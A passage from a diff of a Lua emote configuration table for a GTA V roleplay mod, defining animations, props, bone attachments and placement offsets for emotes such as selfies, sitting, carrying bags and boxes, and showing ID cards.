0.0200, + -0.0200, + 0.0100, + -69.7707963, + 3.10072, + -8.4531301 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["malemirrorselfie4"] = { -- Custom emote by Struggleville + "anim@male_model_03", + "m_model_03_clip", + "Male Mirror Selfie 4", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, + PropPlacement = { + 0.0100, + -0.0600, + -0.0100, + -23.7215768, + 66.9464998, + -62.7303262 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["malemirrorselfie3"] = { -- Custom emote by Struggleville + "anim@male_selfie_09", + "m_selfie_09_clip", + "Male Mirror Selfie 3", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, + PropPlacement = { + 0.0400, + -0.0300, + 0.0000, + -46.0563529, + -0.6965831, + -4.2803096 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["sittv"] = { + "anim@heists@heist_safehouse_intro@variations@male@tv", + "tv_part_one_loop", + "Sit TV", + AnimationOptions = { + Prop = "v_res_tre_remote", + PropBone = 57005, + PropPlacement = { + 0.0990, + 0.0170, + -0.0300, + -64.760, + -109.544, + 18.717 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf"] = { -- Emote by WhiskerValeMods + "mouse@femalearmchair", + "female_armchair_clip_01", + "Sit Chair - Armchair", + AnimationOptions = { + Prop = "p_armchair_01_s", + PropBone = 11816, + PropPlacement = { + 0.5320, + -0.3310, + 0.2000, + -90.0000, + -180.0000, + -40.9999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf2"] = { -- Custom Emote by WhiskerValeMods + "mouse@female_sitting_folded", + "female_sitting_folded_clip", + "Sit Chair - Arms Folded", + AnimationOptions = { + Prop = "ba_prop_battle_club_chair_03", + PropBone = 0, + PropPlacement = { 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -170.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf3"] = { -- Custom Emote by WhiskerValeMods + "mouse@female_sitting_forward", + "female_sitting_forward_clip", + "Sit Chair - Leaning Forward", + AnimationOptions = { + Prop = "ba_prop_battle_club_chair_03", + PropBone = 0, + PropPlacement = { 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -170.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf4"] = { -- Custom Emote by WhiskerValeMods + "mouse@female_smart_sitting", + "female_smart_sitting_clip", + "Sit Chair - Smart", + AnimationOptions = { + Prop = "ba_prop_battle_club_chair_03", + PropBone = 0, + PropPlacement = { 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -170.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf5"] = { -- Custom Emote By WhiskerValeMods + "mouse@female_smart_sitting_crossed", + "female_smart_sitting_crossed_clip", + "Sit Chair - Legs Crossed", + AnimationOptions = { + Prop = "ba_prop_battle_club_chair_03", + PropBone = 0, + PropPlacement = { 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -170.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf6"] = { -- Custom Emote By WhiskerValeMods + "mouse@female_sitting_laptop", + "female_sitting_laptop_clip", + "Sit Chair - Laptop", + AnimationOptions = { + Prop = 'ba_prop_club_laptop_dj_02', + PropBone = 57005, + PropPlacement = { + 0.0860, + -0.1370, + -0.1750, + -79.9999, + -90.0000, + 0.0000 + }, + SecondProp = 'ba_prop_battle_club_chair_02', + SecondPropBone = 0, + SecondPropPlacement = { + -0.0400, + -0.1900, + 0.0000, + -180.0000, + -180.0000, + 9.0999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf7"] = { -- Custom Emote By Emote by WhiskerValeMods + "mouse@female_sitting_tablet", + "female_sitting_tablet_clip", + "Sit Chair - Tablet", + AnimationOptions = { + Prop = 'hei_prop_dlc_tablet', + PropBone = 28422, + PropPlacement = { + 0.0870, + 0.1030, + -0.1240, + 144.3540, + 157.8527, + -4.6318 + }, + SecondProp = 'ba_prop_battle_club_chair_02', + SecondPropBone = 0, + SecondPropPlacement = { + 0.0100, + -0.0800, + 0.0200, + 150.0000, + -180.0000, + 10.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sitchairf8"] = { -- Custom Emote By Emote by WhiskerValeMods + "mouse@female_sitting_tablet", + "female_sitting_tablet_clip", + "Sit Chair - Book", + AnimationOptions = { + Prop = 'v_ilev_mp_bedsidebook', + PropBone = 28422, + PropPlacement = { + 0.1300, + 0.1100, + -0.1200, + 120.3356, + -15.9891, + 26.1497 + }, + SecondProp = 'ba_prop_battle_club_chair_02', + SecondPropBone = 0, + SecondPropPlacement = { + 0.0100, + -0.0800, + 0.0200, + 150.0000, + -180.0000, + 10.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dig"] = { + "random@burial", + "a_burial", + "Dig", + AnimationOptions = { + Prop = "prop_tool_shovel", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.24, + 0, + 0, + 0.0, + 0.0 + }, + SecondProp = 'prop_ld_shovel_dirt', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.24, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ['axe'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Axe', + AnimationOptions = { + Prop = 'prop_tool_fireaxe', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["axe2"] = { + "melee@large_wpn@streamed_core", + "ground_attack_on_spot", + "Axe - Ground Impact", + AnimationOptions = { + Prop = "prop_tool_fireaxe", + PropBone = 57005, + PropPlacement = { + 0.0160, + -0.3140, + -0.0860, + -97.1455, + 165.0749, + 13.9114, + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ['axe3'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Axe - Pickaxe', + AnimationOptions = { + Prop = 'prop_tool_pickaxe', + PropBone = 57005, + PropPlacement = { + 0.0400, + -0.2550, + -0.1380, + -109.0238, + 163.6144, + 20.6091 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["axe4"] = { + "melee@large_wpn@streamed_core", + "ground_attack_on_spot", + "Axe - Pickaxe Ground Impact", + AnimationOptions = { + Prop = "prop_tool_pickaxe", + PropBone = 57005, + PropPlacement = { + 0.08, + -0.4, + -0.10, + 80.0, + -20.0, + 175.0, + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["bongos"] = { + "amb@world_human_musician@bongos@male@base", + "base", + "Bongo Drums", + AnimationOptions = { + Prop = "prop_bongos_01", + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["medbag"] = { + "move_weapon@jerrycan@generic", + "idle", + "Medic Bag", + AnimationOptions = { + Prop = "xm_prop_x17_bag_med_01a", + PropBone = 57005, + PropPlacement = { + 0.3900, + -0.0600, + -0.0600, + -100.00, + -180.00, + -78.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["medbox"] = { + "move_weapon@jerrycan@generic", + "idle", + "Medic Box", + AnimationOptions = { + Prop = "xm_prop_smug_crate_s_medical", + PropBone = 28422, + PropPlacement = { + 0.2500, + 0.0200, + -0.0100, + 90.0000, + 0.0000, + -81.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dufbag"] = { + "move_weapon@jerrycan@generic", + "idle", + "Duffel Bag", + AnimationOptions = { + Prop = "bkr_prop_duffel_bag_01a", + PropBone = 28422, + PropPlacement = { + 0.2600, + 0.0400, + 0.00, + 90.00, + 0.00, + -78.99 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shopbag"] = { + "move_weapon@jerrycan@generic", + "idle", + "Shopping Bag", + AnimationOptions = { + Prop = "vw_prop_casino_shopping_bag_01a", + PropBone = 28422, + PropPlacement = { + 0.24, + 0.03, + -0.04, + 0.00, + -90.00, + 10.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shopbag2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Shopping Bag 2", + AnimationOptions = { + Prop = "prop_shopping_bags02", + PropBone = 28422, + PropPlacement = { + 0.05, + 0.02, + 0.00, + 178.80, + 91.19, + 9.97 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shopbag3"] = { + "move_weapon@jerrycan@generic", + "idle", + "Shopping Bag 3", + AnimationOptions = { + Prop = "prop_cs_shopping_bag", + PropBone = 28422, + PropPlacement = { + 0.24, + 0.03, + -0.04, + 0.00, + -90.00, + 10.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['shopbag4'] = { + 'chocoholic@single54', + 'single54_clip', + 'Shopping Bag 4', + AnimationOptions = { + Prop = 'prop_carrier_bag_01', + PropBone = 28422, + PropPlacement = { + 0.2280, + 0.0070, + -0.1230, + 1.2556, + -53.8020, + -34.4621 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 } + }, + SecondPropBone = 60309, -- Left Wrist + SecondPropPlacement = { + 0.0910, + 0.0410, + -0.0040, + -129.2433, + -18.1966, + -41.2633 + }, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["handbag"] = { -- Custom prop by crowded1337, unbranded by TayMcKenzieNZ + "move_weapon@jerrycan@generic", + "idle", + "Hand Bag", + AnimationOptions = { + Prop = 'prop_amb_handbag_01', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.2000, + 0.0300, + -0.0200, + 90.4294, + -177.4267, + 83.0011 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["idcard"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 1", + AnimationOptions = { + Prop = "prop_franklin_dl", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardb"] = { + "paper_1_rcm_alt1-8", + "player_one_dual-8", + "ID Card 2 - FIB", + AnimationOptions = { + Prop = "prop_fib_badge", + PropBone = 28422, + PropPlacement = { + 0.0600, + 0.0210, + -0.0400, + -90.00, + -180.00, + 78.999 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardc"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 3", + AnimationOptions = { + Prop = "prop_michael_sec_id", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardd"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 4", + AnimationOptions = { + Prop = "prop_trev_sec_id", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcarde"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 5", + AnimationOptions = { + Prop = "prop_casey_sec_id", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardf"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 6", + AnimationOptions = { + Prop = "prop_cs_r_business_card", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardg"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 7", + AnimationOptions = { + Prop = "p_ld_id_card_002", + PropBone = 28422, + PropPlacement = { + 0.0840, + 0.0200, + -0.0260, + -173.8514, + -88.0171, + 63.0612 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["idcardh"] = { + "cop_badge_1@dad", --- Custom Animation by Darks Animations + "cop_badge_1_clip", + "ID Card 8 - Cop Badge", + AnimationOptions = { + Prop = "prop_cop_badge", + PropBone = 28422, + PropPlacement = { + 0.0390, + -0.0100, + -0.0590, + -103.1785, + -176.6694, + 74.9000 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true, + } + }, + ["idcardi"] = { + "paper_1_rcm_alt1-8", + "player_one_dual-8", + "ID Card 9 - Drivers License", + AnimationOptions = { + Prop = "bkr_prop_fakeid_singledriverl", + PropBone = 28422, + PropPlacement = { + 0.0700, + 0.0260, + -0.0320, + -10.8683, + -177.8499, + 23.6377 + }, + EmoteStuck = true, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["phone"] = { + "cellphone@", + "cellphone_text_read_base", + "Phone", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sms"] = { + "cellphone@", + "cellphone_text_read_base", + "SMS", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = false, + EmoteMoving = true, + ExitEmote = "phoneaway", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["sms2"] = { + "cellphone@female", + "cellphone_text_read_base", + "SMS 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.00, + 0.00, + 0.0301, + 0.000, + 00.00, + 00.00 + }, + EmoteLoop = false, + EmoteMoving = true, + ExitEmote = "phoneaway", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["sms3"] = { + "cellphone@female", + "cellphone_email_read_base", + "SMS 3", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + -0.0190, + -0.0240, + 0.0300, + 18.99, + -72.07, + 6.39 + }, + EmoteLoop = false, + EmoteMoving = true, + ExitEmote = "phoneaway", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["sms4"] = { + "cellphone@female", + "cellphone_text_read_base_cover_low", + "SMS 4", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + -0.0190, + -0.0250, + 0.0400, + 19.17, + -78.50, + 14.97 + }, + EmoteLoop = false, + EmoteMoving = true, + ExitEmote = "phoneaway", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["sms5"] = { + "amb@code_human_wander_texting_fat@male@base", + "static", + "SMS 5", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + -0.0200, + -0.0100, + 0.00, + 2.309, + 88.845, + 29.979 + }, + EmoteLoop = false, + EmoteMoving = true, + ExitEmote = "phoneaway", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["smssit"] = { --- Custom Emote Provided To RPEmotes By Mr. Witt + "mrwitt@phone_time_on_floor", + "mrwitt", + "SMS Sit", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26611, + PropPlacement = { + 0.0560, + -0.0270, + 0.0170, + -19.9298, + -4.6998, + 1.7081 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["tire"] = { + "anim@heists@box_carry@", + "idle", + "Tire", + AnimationOptions = { + Prop = "prop_wheel_tyre", + PropBone = 60309, + PropPlacement = { + -0.05, + 0.16, + 0.32, + -130.0, + -55.0, + 150.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["golfswing"] = { + "rcmnigel1d", + "swing_a_mark", + "Golf Swing", + AnimationOptions = { + EmoteLoop = true, + Prop = "prop_golf_wood_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + } + } + }, + ["register"] = { + "anim@heists@box_carry@", + "idle", + "Register", + AnimationOptions = { + Prop = "v_ret_gc_cashreg", + PropBone = 60309, + PropPlacement = { + 0.138, + 0.2, + 0.2, + -50.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weedbrick"] = { + "impexp_int-0", + "mp_m_waremech_01_dual-0", + "Weed Brick", + AnimationOptions = { + Prop = "prop_weed_block_01", + PropBone = 60309, + PropPlacement = { + 0.1, + 0.1, + 0.05, + 0.0, + -90.0, + 90.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weedbrick2"] = { + "anim@heists@box_carry@", + "idle", + "Weed Brick BIG", + AnimationOptions = { + Prop = "bkr_prop_weed_bigbag_01a", + PropBone = 60309, + PropPlacement = { + 0.158, + -0.05, + 0.23, + -50.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["potplant"] = { + "anim@heists@box_carry@", + "idle", + "Pot Plant (Small)", + AnimationOptions = { + Prop = "bkr_prop_weed_01_small_01c", + PropBone = 60309, + PropPlacement = { + 0.138, + -0.05, + 0.23, + -50.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["potplant2"] = { + "anim@heists@box_carry@", + "idle", + "Pot Plant (Medium)", + AnimationOptions = { + Prop = "bkr_prop_weed_01_small_01b", + PropBone = 60309, + PropPlacement = { + 0.138, + -0.05, + 0.23, + -50.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["potplant3"] = { + "anim@heists@box_carry@", + "idle", + "Pot Plant (Large)", + AnimationOptions = { + Prop = "bkr_prop_weed_lrg_01b", + PropBone = 60309, + PropPlacement = { + 0.138, + -0.05, + 0.23, + -50.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weedbucket"] = { + "anim@heists@box_carry@", + "idle", + "Weed Bucket", + AnimationOptions = { + Prop = "bkr_prop_weed_bucket_open_01a", + PropBone = 28422, + PropPlacement = { + 0.0, + -0.1000, + -0.1800, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lawnchair"] = { + "timetable@ron@ig_5_p3", + "ig_5_p3_base", + "Lawnchair", + AnimationOptions = { + Prop = "prop_skid_chair_02", + PropBone = 0, + PropPlacement = { + 0.025, + -0.2, + -0.1, + 45.0, + -5.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["lawnchair2"] = { + "timetable@reunited@ig_10", + "base_amanda", + "Lawnchair 2", + AnimationOptions = { + Prop = "prop_skid_chair_02", + PropBone = 0, + PropPlacement = { + 0.025, + -0.15, + -0.1, + 45.0, + 5.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["lawnchair3"] = { + "timetable@ron@ig_3_couch", + "base", + "Lawnchair 3", + AnimationOptions = { + Prop = "prop_skid_chair_02", + PropBone = 0, + PropPlacement = { + -0.05, + 0.0, + -0.2, + 5.0, + 0.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["rose2"] = { + "missheistdocksprep1hold_cellphone", + "static", + "Rose 2 (Male)", + AnimationOptions = { + Prop = "prop_single_rose", + PropBone = 31086, + PropPlacement = { + -0.0140, + 0.1030, + 0.0620, + -2.932, + 4.564, + 39.910 + }, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["rose3"] = { + "missheistdocksprep1hold_cellphone", + "static", + "Rose 3 (Female)", + AnimationOptions = { + Prop = "prop_single_rose", + PropBone = 31086, + PropPlacement = { + -0.0140, + 0.1070, + 0.0720, + 0.00, + 0.00, + 2.99 + }, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["cbbox"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box", + AnimationOptions = { + Prop = "v_ret_ml_beerben1", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cbbox2"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box 2", + AnimationOptions = { + Prop = "v_ret_ml_beerbla1", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cbbox3"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box 3", + AnimationOptions = { + Prop = "v_ret_ml_beerjak1", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cbbox4"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box 4", + AnimationOptions = { + Prop = "v_ret_ml_beerlog1", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cbbox5"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box 5", + AnimationOptions = { + Prop = "v_ret_ml_beerpis1", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cbbox6"] = { + "anim@heists@box_carry@", + "idle", + "Carry Beer Box 6", + AnimationOptions = { + Prop = "prop_beer_box_01", + PropBone = 28422, + PropPlacement = { + 0.0200, + -0.0600, + -0.1200, + -180.00, + -180.00, + 1.99 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbin"] = { + "anim@heists@box_carry@", + "idle", + "Garbage Bin", + AnimationOptions = { + Prop = "prop_bin_08open", + PropBone = 28422, + PropPlacement = { + 0.00, + -0.420, + -1.290, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbin2"] = { + "anim@heists@box_carry@", + "idle", + "Garbage Bin 2", + AnimationOptions = { + Prop = "prop_cs_bin_01", + PropBone = 28422, + PropPlacement = { + 0.00, + -0.420, + -1.290, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbin3"] = { + "anim@heists@box_carry@", + "idle", + "Garbage Bin 3", + AnimationOptions = { + Prop = "prop_cs_bin_03", + PropBone = 28422, + PropPlacement = { + 0.00, + -0.420, + -1.290, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbin4"] = { + "anim@heists@box_carry@", + "idle", + "Garbage Bin 4", + AnimationOptions = { + Prop = "prop_bin_08a", + PropBone = 28422, + PropPlacement = { + 0.00, + -0.420, + -1.290, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbin5"] = { + "anim@heists@box_carry@", + "idle", + "Garbage Bin 5", + AnimationOptions = { + Prop = "prop_bin_07d", + PropBone = 28422, + PropPlacement = { + -0.0100, + -0.2200, + -0.8600, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag - Rainbow', + AnimationOptions = { + Prop = 'prideflag1', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag2'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 2 - LGBTQ', + AnimationOptions = { + Prop = 'prideflag2', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag3'] = { + 'rcmnigel1d', + 